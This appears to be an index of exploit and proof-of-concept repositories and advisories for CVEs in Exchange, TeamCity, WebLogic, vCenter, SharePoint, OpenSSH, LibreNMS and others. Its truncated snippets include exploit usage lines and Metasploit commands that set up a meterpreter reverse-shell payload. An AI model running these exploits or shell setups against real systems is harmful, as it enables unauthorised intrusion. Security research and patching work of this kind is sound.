CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación previa Consulta el POC de explotación manual: https://youtu.be/b51LPjD-uTo...

CVE-2023-27363

fuxinFoxit Foxit PDF Remote Code Execution Vulnerability CVE-2023-27363 Analysis and Reproduction Disclaimer: This article is solely for the purpose of technical exchange, learning, and research. The use of the techniques mentioned in the article for any illegal purposes or destructive actions is...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 Exploit de RCE para la vulnerabilidad ProxyLogon en Microsoft Exchange Funciona con Python 3.9 Uso: python proxylogonrce.py target email command Ejemplo: python proxylogonrce.py 192.168.227.137 [email protected] whoami Todo el crédito es para DEVCORE, basado en...

CVE-2023-42793

CVE-2023-42793 - Creación de cuenta de administrador en TeamCity que lleva a RCE usa primero exploit.py para crear una cuenta de administrador y luego usa rce.py para ejecutar comandos en el objetivo, y para reverse shell consulta esto script de exploit Descripción Este script explota...

CVE-2018-2628

测试有无漏洞 上传shell 方式一： 方式二： 执行shell 获得meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload = windows/meterpreter/reversetcp msf...

CVE-2021-21972

Usage & Disclaimer VMware vCenter Server Remote Code Execution Vulnerability CVE-2021-21972 Usage: Python CVE-2021-21972.py urls.txt Each URL in urls.txt is on a single line, vulnerable addresses are output to vul.txt Affected Versions: VMware vCenter Server 7.0 series 7.0.U1c VMware vCenter Serv...

EUVD-2026-72384

LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to...

CVE-2026-86426

LibreNMS before 26.8.0 contains an authentication bypass in its REST API caused by MySQL type coercion : unauthenticated attackers can send small integers (0–9) instead of string tokens, allowing them to match token hashes and access protected endpoints. Successful exploitation exposes device cre...

CVE-2026-86426 LibreNMS before 26.8.0 Authentication Bypass via API Token Type Confusion

LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to...

CVE-2019-13024

CVE-2019-13024 El código de exploit oficial para Centreon v19.04 Ejecución Remota de Código CVE-2019-13024...

cve-2019-3398

cve-2019-3398 Detalles Una prueba de concepto rápida en python para la vulnerabilidad CVE-2019-3398 de Confluence, escrita en python. Las versiones de Confluence 6.12.3, 6.13.3, 6.14.2 y 6.15.1 están afectadas. El exploit requiere credenciales válidas. Para usar Edita los campos osusername y...

Automation-for-Juniper-cve-2023-36845

Automatización para Juniper CVE:2023-36845 Resumen es un script bash diseñado para verificar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones IP, envía una solicitud a cada una y determina si el sistema es vulnerable según la respuesta. Uso Para usar el script,...

CVE-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Crítico — Ejecución remota de código no autenticada mediante deserialización no segura en Microsoft SharePoint Server CVE-2025-53770 Descripción La deserialización de datos no confiables en Microsoft SharePoint Server local permite a un atacante...

CVE-2024-6387

CVE-2024-6387 una condición de carrera en el manejador de señales del servidor OpenSSH sshd Descripción Un exploit para CVE-2024-6387, que apunta a una condición de carrera en el manejador de señales del servidor OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad permite la...

CVE-2024-38077

CVE-2024-38077 以下是 CVE-2024-38077 可能的 GitHub 描述： CVE-2024-38077：Windows 远程桌面许可服务中的远程代码执行漏洞 概述： CVE-2024-38077 是 Windows 远程桌面许可服务中的一个严重漏洞，允许远程攻击者在易受攻击的系统上执行任意代码。该漏洞源于服务在处理特定输入时发生堆溢出。利用此漏洞可能导致系统完全沦陷，使攻击者无需身份验证即可控制目标。 受影响系统： Windows Server 2016 Windows Server 2019 Windows Server 2022 安装了远程桌面许可的...

CVE-2022-21907

CVE-2022-21907 描述 root@kitploit: CVE-2022-21907 的 PoC：HTTP 协议栈远程代码执行漏洞。 Malwareman 于 2022-09-17 创建。 详情 root@kitploit: HTTP 协议栈远程代码执行漏洞。 类似于 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166。 该问题自去年在 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 中报告以来一直存在，至今仍未修复。 CVE 严重性...

EUVD-2026-72373

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution...

CVE-2026-80133

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution...

Apache-APISIX-CVE-2022-24112

Exploit de Ejecución Remota de Código en Apache APISIX CVE-2022-24112 Resumen Un atacante puede abusar del plugin batch-requests para enviar solicitudes y eludir la restricción de IP de la Admin API. Una configuración predeterminada de Apache APISIX con la clave de API predeterminada es vulnerabl...

oieh-router-checker

OIEH Router Checker A Windows program that checks with a single click whether your router is affected by the Chinese backdoor ENDLESSDOORS No installation required · No administrator rights required · No external data transmission What Is This? In August 2026, security firm VulnCheck discovered a...